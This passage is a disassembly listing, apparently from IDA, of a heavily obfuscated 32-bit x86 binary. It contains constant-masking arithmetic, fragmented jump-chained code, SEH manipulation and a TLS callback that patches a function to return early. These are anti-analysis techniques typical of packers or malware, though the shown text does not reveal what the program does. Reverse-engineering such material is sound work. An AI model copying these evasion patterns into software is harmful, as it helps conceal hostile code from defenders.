; FUNCTION CHUNK AT 00425D61 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00426057 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042679C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004269C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427FC2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429653 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429F23 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042BB4E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DFA2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E74F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042E887 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042F048 SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		xchg	ecx, [esp+0]
		push	3
		push	80000000h
		jmp	loc_426057
sub_42F614	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42F628:				; CODE XREF: sub_42481C+ABAFj
		jmp	loc_42E045
; END OF FUNCTION CHUNK	FOR sub_42481C

; =============== S U B	R O U T	I N E =======================================



sub_42F62D	proc near		; CODE XREF: wto1jq8f:00429A6Ej
					; sub_426E98+433Bp

arg_0		= dword	ptr  4

		mov	[esp+0], edi


loc_42F630:				; CODE XREF: wto1jq8f:loc_42DA0Bj
		pop	edi
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_42660F
sub_42F62D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_219. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_42F63A:				; CODE XREF: sub_42DCB4-4D92j
		jmp	loc_42BE01
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------


loc_42F63F:				; CODE XREF: wto1jq8f:00427B90j
		sub	eax, edi
		xchg	edx, ecx
		sub	ecx, 1244D257h
		or	edi, ebx
		jmp	loc_424549
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42F650:				; CODE XREF: sub_429B76+3C08j
		test	edi, 9A4E22A7h
		jmp	loc_42A2A0
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42F65B:				; CODE XREF: sub_4244EA:loc_42C4CAj
		mov	ebp, 2F2FD575h
		jmp	loc_427E6A
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0D7


loc_42F665:				; CODE XREF: sub_42C0D7-5CBAj
		mov	edi, [ebx]
		jmp	loc_42FEF2
; END OF FUNCTION CHUNK	FOR sub_42C0D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A88D


loc_42F66C:				; CODE XREF: sub_42A88D:loc_428F4Cj
		pop	ebx
		sub	ebx, ds:4000F4h
		add	ebx, 79A07A01h
		mov	[ebx], eax
		call	sub_42693B
; END OF FUNCTION CHUNK	FOR sub_42A88D
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42F680:				; CODE XREF: sub_426144:loc_42FD3Dj
		xchg	eax, [esp-0Ch+arg_8]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	eax
		jmp	loc_424B98
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR TlsCallback_0


loc_42F690:				; CODE XREF: TlsCallback_0+21BDj
		inc	ds:dword_42F1CC
		lea	eax, sub_42ADC7
		mov	byte ptr [eax],	0C3h
		call	sub_4266EF
		jmp	loc_42EAAB
; END OF FUNCTION CHUNK	FOR TlsCallback_0

; =============== S U B	R O U T	I N E =======================================



sub_42F6A9	proc near		; DATA XREF: sub_426A97:loc_42BE5Ao

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424D91 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424ECE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425C02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042898E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004293A4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A10F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042A7FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C39D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C686 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042D51B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DD69 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DE11 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E171 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E9CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F458 SIZE 00000017 BYTES

		pushf
		mov	[esp+4+var_4], ebp
		push	2CAAA60Fh
		pop	eax
		add	eax, 2D21700Bh
		xor	eax, 9D8C6EBBh
		add	eax, ebp
		add	eax, 3BBF8767h
		jmp	loc_42E171
sub_42F6A9	endp

; ---------------------------------------------------------------------------
		sub	edi, 0ED198BB4h
		jg	loc_424CEF
		jmp	sub_42483B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_42F6DD:				; CODE XREF: sub_42B276-152Dj
		and	edx, ebx
		push	ecx
		jmp	loc_428193
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
		mov	edx, 19EDC823h
		call	sub_42E350
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42F6EF:				; CODE XREF: sub_426535:loc_42D5E4j
		test	ebx, 67C08B5Ch
		jmp	loc_428651
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42F6FA:				; CODE XREF: sub_4244EA:loc_42D7AEj
		sbb	ebx, esi
		xchg	ebx, [ecx]
		sbb	edi, 6F8A9E2Eh
		jmp	loc_42834A
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42F709:				; CODE XREF: sub_4294F4:loc_42FD28j
		jz	loc_42FC10
		jmp	loc_4240D2
; END OF FUNCTION CHUNK	FOR sub_4294F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269FD


loc_42F714:				; CODE XREF: sub_4269FD+7B95j
		mov	[esp+0], eax
		retn
; END OF FUNCTION CHUNK	FOR sub_4269FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42F718:				; CODE XREF: sub_42A909-1AB6j
		jmp	loc_42A1EE
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42F71D:				; CODE XREF: sub_429B76+55F9j
		call	nullsub_16
		push	edi
		jmp	loc_42DB37
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_42F728:				; CODE XREF: sub_4240DC:loc_425A7Ej
		pop	eax
		add	eax, 0F3B82F1Dh
		add	eax, ebp
		add	eax, 0F6CD97ACh
		push	ecx
		jmp	loc_424DFD
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42F73D:				; CODE XREF: sub_426C0C:loc_424CE3j
		xchg	esi, ebx
		pushf
		jmp	loc_42C49B
; END OF FUNCTION CHUNK	FOR sub_426C0C

; =============== S U B	R O U T	I N E =======================================



sub_42F745	proc near		; CODE XREF: sub_42669E+6Cp
					; wto1jq8f:0042B890j
		mov	[esp+0], ecx
		pop	ecx
		push	1D31660Bh
		pop	edx
		add	edx, 0E2CE99FCh
		and	ecx, edx
		pop	edx
		jmp	loc_42DD6F
sub_42F745	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42F75D	proc near		; CODE XREF: wto1jq8f:00424A7Dj
					; sub_42C4E2:loc_42C958p

; FUNCTION CHUNK AT 00427D57 SIZE 00000025 BYTES

		mov	[esp+0], esi


loc_42F760:				; CODE XREF: sub_4282C1+2E0Aj
		pop	esi
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_427D6E
		jmp	loc_427D57
sub_42F75D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F770:				; CODE XREF: wto1jq8f:004276DDj
		or	eax, 83009FF8h

; =============== S U B	R O U T	I N E =======================================



sub_42F776	proc near		; CODE XREF: sub_4283CC+45ACp
		mov	[esp+0], edx
		pop	edx


loc_42F77A:				; CODE XREF: wto1jq8f:loc_42B5F0j
		xchg	eax, ebx
		push	eax
		push	8737B5E3h
		pop	eax
		sub	eax, 0FE5D8A8Eh
		jmp	loc_428459
sub_42F776	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 0FFFFACD3h, 0FFCF60E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_42F799:				; CODE XREF: wto1jq8f:loc_42E1EFj
		jo	loc_427E65
		ror	ebp, 12h
		jmp	loc_42FCC6
; ---------------------------------------------------------------------------


loc_42F7A7:				; CODE XREF: wto1jq8f:00424227j
		jnp	loc_42EEBD

; =============== S U B	R O U T	I N E =======================================



sub_42F7AD	proc near		; CODE XREF: wto1jq8f:0042D3AAp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042CCD4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DE07 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	eax, 73B11B19h
		xchg	eax, [esp+0]
		jmp	loc_42CCD4
sub_42F7AD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 14h
		call	sub_424F6A
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42F7C8:				; CODE XREF: sub_42C486-167Bj
		jmp	loc_42A2C6
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_42F7CD:				; CODE XREF: sub_429D2E:loc_42F36Aj
		add	edi, 12BECD26h
		xchg	edi, [esp+8+var_8]
		jmp	loc_426A0F
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42F7DB:				; CODE XREF: sub_429B76:loc_42907Cj
		popf
		mov	esi, edi
		jmp	loc_427396
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42F7E3:				; CODE XREF: sub_42AA68:loc_42FCC1j
		cmp	dword ptr [ebp-8], 0
		jz	loc_4260F3
		jmp	loc_42FE17
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4294F4


loc_42F7F2:				; CODE XREF: sub_4294F4+2E3Aj
		add	eax, 9C33F317h
		popf
		call	sub_42A56D
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_42B02D
		mov	ds:dword_42F1F0, eax
		cmp	ds:dword_42F1F0, 0
		jmp	loc_42A62A
; END OF FUNCTION CHUNK	FOR sub_4294F4
; ---------------------------------------------------------------------------


loc_42F818:				; CODE XREF: wto1jq8f:0042F96Ej
		xchg	ecx, [ebp+0]

; =============== S U B	R O U T	I N E =======================================



sub_42F81B	proc near		; CODE XREF: sub_4245B5+8ECDp
					; sub_426535+8F69j

; FUNCTION CHUNK AT 00425B7E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426BA4 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042B96B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E2F0 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		mov	eax, ds:dword_42E534
		jmp	loc_426BA4
sub_42F81B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F82A:				; CODE XREF: wto1jq8f:00425E96j
		jnz	loc_424C90
		pop	esi
		jmp	sub_42433B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42F836:				; CODE XREF: sub_42C486-4740j
		lea	eax, [ebp-14h]


loc_42F839:				; CODE XREF: sub_42ED54:loc_42ED77j
		call	sub_4266B1
		jle	loc_4276B5
		jmp	sub_42F072
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		ror	ecx, 13h
		jmp	loc_42CD33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_42F852:				; CODE XREF: wto1jq8f:loc_42ACF4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_42F853:				; CODE XREF: sub_42414C+BD26j
		jmp	loc_42485F
; END OF FUNCTION CHUNK	FOR sub_42414C
; ---------------------------------------------------------------------------
		xor	edi, 0C6F6C87Dh
		jmp	loc_42F25D

; =============== S U B	R O U T	I N E =======================================



sub_42F863	proc near		; CODE XREF: sub_428333:loc_42AA44p
					; wto1jq8f:0042C8E3j
		xchg	eax, [esp+0]
		pop	eax
		call	sub_428183
		jmp	loc_42865D
sub_42F863	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_428101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42F876:				; CODE XREF: sub_426144:loc_42E2EBj
		jnz	loc_427C73
		jmp	loc_42B934
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_42F881:				; CODE XREF: sub_428F61:loc_4271D7j
		add	eax, 3771F8Ah
		mov	edx, 17h
		call	sub_428B3B
		pop	ecx


loc_42F892:				; CODE XREF: wto1jq8f:00429B55j
		push	ebp
		push	9447DA80h
		jmp	loc_42A97B
; END OF FUNCTION CHUNK	FOR sub_428F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E337


loc_42F89D:				; CODE XREF: sub_42E337:loc_42AE54j
		push	offset sub_42AA8E
		jmp	loc_42838A
; END OF FUNCTION CHUNK	FOR sub_42E337

; =============== S U B	R O U T	I N E =======================================



sub_42F8A7	proc near		; DATA XREF: wto1jq8f:0042770Eo
		xchg	edi, [esp+0]
		push	offset sub_42C4B3
sub_42F8A7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_42F8AF:				; CODE XREF: sub_426C0C:loc_42EB35j
		jmp	loc_42AD0D
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5FA


loc_42F8B4:				; CODE XREF: sub_42E5FA:loc_42E5FDj
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	49196509h
		jmp	loc_42E50C
; END OF FUNCTION CHUNK	FOR sub_42E5FA
; ---------------------------------------------------------------------------
		or	ecx, 1800DBDCh
		jmp	loc_42C015
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0F6


loc_42F8CD:				; CODE XREF: sub_42C0F6+9j
		push	0D3776B0Dh
		pop	ecx
		add	ecx, 2CCB2A4Bh
		mov	ecx, [ecx]
		push	offset sub_42F2C7
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_42C0F6

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42F8E5	proc near		; CODE XREF: sub_429165-477Dj
		retn
sub_42F8E5	endp

; ---------------------------------------------------------------------------


loc_42F8E6:				; CODE XREF: wto1jq8f:0042E01Fj
		jmp	loc_42DD05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_42F8EB:				; CODE XREF: sub_4283CC+7BEj
		jmp	loc_42C975
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_42F8F0:				; CODE XREF: sub_42CB63-829Cj
		jmp	loc_426043
; END OF FUNCTION CHUNK	FOR sub_42CB63
; ---------------------------------------------------------------------------
		mov	ecx, 0E7E38170h
		jmp	sub_424F83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42F8FF:				; CODE XREF: sub_426144+1675j
					; sub_426144:loc_429690j
		pop	large dword ptr	fs:0
		call	sub_425EA8
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_424B9B
		jmp	loc_42F2B8
; END OF FUNCTION CHUNK	FOR sub_426144
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42F925:				; CODE XREF: sub_426535:loc_42F559j
		add	eax, 0D23402DCh
		cmp	dword ptr [eax], 47424454h
		jz	loc_4265DB
		jmp	loc_42D3BF
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42F93C:				; CODE XREF: sub_4244EA:loc_42DF97j
		test	ecx, 8000h
		jmp	loc_42A708
; END OF FUNCTION CHUNK	FOR sub_4244EA

; =============== S U B	R O U T	I N E =======================================



sub_42F947	proc near		; CODE XREF: sub_42DB52-4BC6p
					; wto1jq8f:00429C90j

; FUNCTION CHUNK AT 00424650 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042C8E8 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		lea	eax, [ebp-4]
		call	sub_424859
		jmp	loc_424650
sub_42F947	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		and	edx, eax
		jbe	loc_42DDFC
		jmp	sub_42E0FD
; ---------------------------------------------------------------------------
		cmp	esi, ecx
		jmp	loc_42CDCF
; ---------------------------------------------------------------------------
		mov	[edx], ebp
		jmp	loc_42F818
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3BC


loc_42F973:				; CODE XREF: sub_42A3BC:loc_42484Aj
		jl	loc_424A4D
; END OF FUNCTION CHUNK	FOR sub_42A3BC
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_42F979:				; CODE XREF: sub_42481C+137j
		jmp	loc_42A49E
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------
		sub	ecx, edi
		mov	ebp, esi
		jmp	loc_424A4B

; =============== S U B	R O U T	I N E =======================================



sub_42F987	proc near		; CODE XREF: wto1jq8f:loc_427CA9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004273ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A6A0 SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		mov	eax, [esp+0]
		push	ebx
		push	87C628A9h
		xchg	esi, [esp+8+var_8]
		jmp	loc_4273ED
sub_42F987	endp

; ---------------------------------------------------------------------------


loc_42F99B:				; CODE XREF: wto1jq8f:00429915j
		pop	edi

; =============== S U B	R O U T	I N E =======================================



sub_42F99C	proc near		; CODE XREF: wto1jq8f:0042D511p

; FUNCTION CHUNK AT 0042DA9F SIZE 00000005 BYTES

		mov	[esp+0], edx
		pop	edx
		mov	esp, ebp
		push	offset sub_42D75E
		jmp	loc_42DA9F
sub_42F99C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F9AC	proc near		; CODE XREF: sub_429E77+7p
					; wto1jq8f:0042D8CEj

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00425E2C SIZE 00000004 BYTES

		xchg	ecx, [esp-0Ch+arg_8]
		pop	ecx
		mov	esp, [esp+8]


loc_42F9B4:				; CODE XREF: sub_426461+4j
					; sub_426461+Fj ...
		xor	eax, eax


loc_42F9B6:				; CODE XREF: sub_42B5D9+6j
					; sub_426461:loc_42E98Ej
		pop	large dword ptr	fs:0
		jmp	loc_425E2C
sub_42F9AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42F9C2:				; CODE XREF: wto1jq8f:0042A822j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242D6


loc_42F9C3:				; CODE XREF: sub_4242D6+688Cj
		jmp	nullsub_182
; END OF FUNCTION CHUNK	FOR sub_4242D6
; ---------------------------------------------------------------------------


loc_42F9C8:				; CODE XREF: wto1jq8f:0042EB60j
		mov	ebx, [edi]

; =============== S U B	R O U T	I N E =======================================



sub_42F9CA	proc near		; CODE XREF: sub_42ED01-852Ap

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 004241BC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00425A67 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E5CD SIZE 0000000A BYTES

		xchg	ebx, [esp-10h+arg_C]
		pop	ebx
		xchg	edi, [esp+0]
		jmp	loc_4241BC
sub_42F9CA	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42F9D7:				; CODE XREF: sub_42970D+14BEj
		jmp	loc_42858A
; END OF FUNCTION CHUNK	FOR sub_42970D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C0DF


loc_42F9DC:				; CODE XREF: sub_42C0DF:loc_427A25j
		xchg	ebp, [esp+4+var_4]
		call	sub_42C547


loc_42F9E4:				; CODE XREF: sub_42CB36:loc_424D04j
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_4260F3
		mov	eax, [ebp-0Ch]
		call	sub_42A54A


loc_42F9F6:				; CODE XREF: sub_42D4FD:loc_42DBF9j
		push	93802C51h
		pop	eax
		sub	eax, 972140B5h
		xor	eax, 707723C0h
		jmp	loc_42FF8B
; END OF FUNCTION CHUNK	FOR sub_42C0DF
; ---------------------------------------------------------------------------


loc_42FA0D:				; CODE XREF: wto1jq8f:0042E16Cj
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_42FA0F	proc near		; CODE XREF: sub_426313+EEBp
		xchg	edi, [esp+0]
		pop	edi
		pop	esi
		cmp	dword ptr [ebp-4], 0
		jz	loc_427FE0
		jmp	loc_428F91
sub_42FA0F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42FA23:				; CODE XREF: wto1jq8f:loc_42B042j
		test	ebp, 637A61E7h
		jmp	loc_42C7D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42FA2E:				; CODE XREF: sub_42A909-28Aj
		jl	loc_429091


loc_42FA34:				; CODE XREF: sub_42A909:loc_42A1EEj
		push	eax
		push	6CDFAA31h
		pop	eax
		add	eax, 9362C9E0h
		xchg	eax, [esp+0]
		jmp	loc_42E2FA
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
		ror	esi, 1
		test	ebp, 915A1DC0h
		jmp	loc_42DE71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_42FA56:				; CODE XREF: sub_42EDB9:loc_42F355j
		jnz	loc_42B1A5
		jmp	loc_42FC34
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------


loc_42FA61:				; CODE XREF: wto1jq8f:00429A08j
		jbe	loc_428C7D
		jmp	loc_42CD03
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42FA6C:				; CODE XREF: sub_427A8D:loc_42C585j
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_427A8D

; =============== S U B	R O U T	I N E =======================================



sub_42FA6E	proc near		; CODE XREF: sub_42506F+2142p
		push	ebp
		push	offset sub_42AAC3
		jmp	loc_42A126
sub_42FA6E	endp

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 6
		mov	ds:dword_429578, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_42FA84:				; CODE XREF: sub_42A909+3B0j
		jmp	loc_42AB2F
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------


loc_42FA89:				; CODE XREF: wto1jq8f:004293FAj
		jmp	loc_426693
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_42FA8E:				; CODE XREF: sub_42CF89-8D20j
		jmp	loc_42AEF4
; END OF FUNCTION CHUNK	FOR sub_42CF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_42FA93:				; CODE XREF: sub_428F61:loc_427CB3j
		xor	edx, 0E5765FE8h
		call	sub_428B3B
		pop	ecx
		mov	eax, [ebp-4]
		push	eax
		jmp	loc_42745C
; END OF FUNCTION CHUNK	FOR sub_428F61
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424859


loc_42FAA9:				; CODE XREF: sub_424859+6F0Cj
		jmp	nullsub_184
; END OF FUNCTION CHUNK	FOR sub_424859
; ---------------------------------------------------------------------------


loc_42FAAE:				; CODE XREF: wto1jq8f:0042A7B4j
		jmp	loc_42EF42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FED8


loc_42FAB3:				; CODE XREF: sub_42FED8+6j
		push	8F6731FEh
		xchg	eax, [esp+4+var_4]
		mov	esi, eax
		pop	eax
		call	sub_42B5F6
; END OF FUNCTION CHUNK	FOR sub_42FED8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_42FAC4:				; CODE XREF: wto1jq8f:0042D25Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42FAC5:				; CODE XREF: sub_4282C1+659Dj
		jmp	loc_42841A
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42FACA:				; CODE XREF: sub_42AECE-4783j
		jmp	loc_42CC86
; END OF FUNCTION CHUNK	FOR sub_42AECE

; =============== S U B	R O U T	I N E =======================================



sub_42FACF	proc near		; CODE XREF: sub_42ED32-7852p

; FUNCTION CHUNK AT 00424830 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042975C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A7D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACCF SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042C372 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042DC03 SIZE 00000018 BYTES

		mov	[esp+0], eax
		call	sub_428430
		test	eax, eax
		jz	loc_42975C
		jmp	loc_42A7D8
sub_42FACF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42FAE4	proc near		; DATA XREF: sub_42C859-1696o

; FUNCTION CHUNK AT 00424995 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004286CA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042BDFE SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042C0C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E41F SIZE 0000000B BYTES

		push	ebx
		push	4A2B8815h
		pop	ebx
		and	ebx, 0ACDCE4ABh


loc_42FAF1:				; CODE XREF: sub_424573+8j
		add	ebx, 77F78000h
		jmp	loc_42C0C8
sub_42FAE4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42FAFC:				; CODE XREF: sub_426E98+106j
		call	sub_42DD2D
		mov	al, 1
		pop	edx
		call	edx
		xor	eax, eax
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		pop	ecx
		jmp	loc_429D75
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427DA7


loc_42FB14:				; CODE XREF: sub_427DA7+1Ej
		adc	ecx, edx
		mov	eax, ecx
		xchg	ebp, [esp+0]
		mov	edx, ebp


loc_42FB1D:				; CODE XREF: wto1jq8f:0042CB23j
		pop	ebp
		jmp	loc_42ED18
; END OF FUNCTION CHUNK	FOR sub_427DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291B9


loc_42FB23:				; CODE XREF: sub_4291B9:loc_429440j
		push	eax
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_4291B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42FB2A:				; CODE XREF: sub_426968+E47j
		jmp	loc_42B5AF
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42FB2F	proc near		; CODE XREF: sub_4262CE+Bp
					; sub_4283CC+7B9p ...

; FUNCTION CHUNK AT 004295F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042EFF0 SIZE 00000005 BYTES
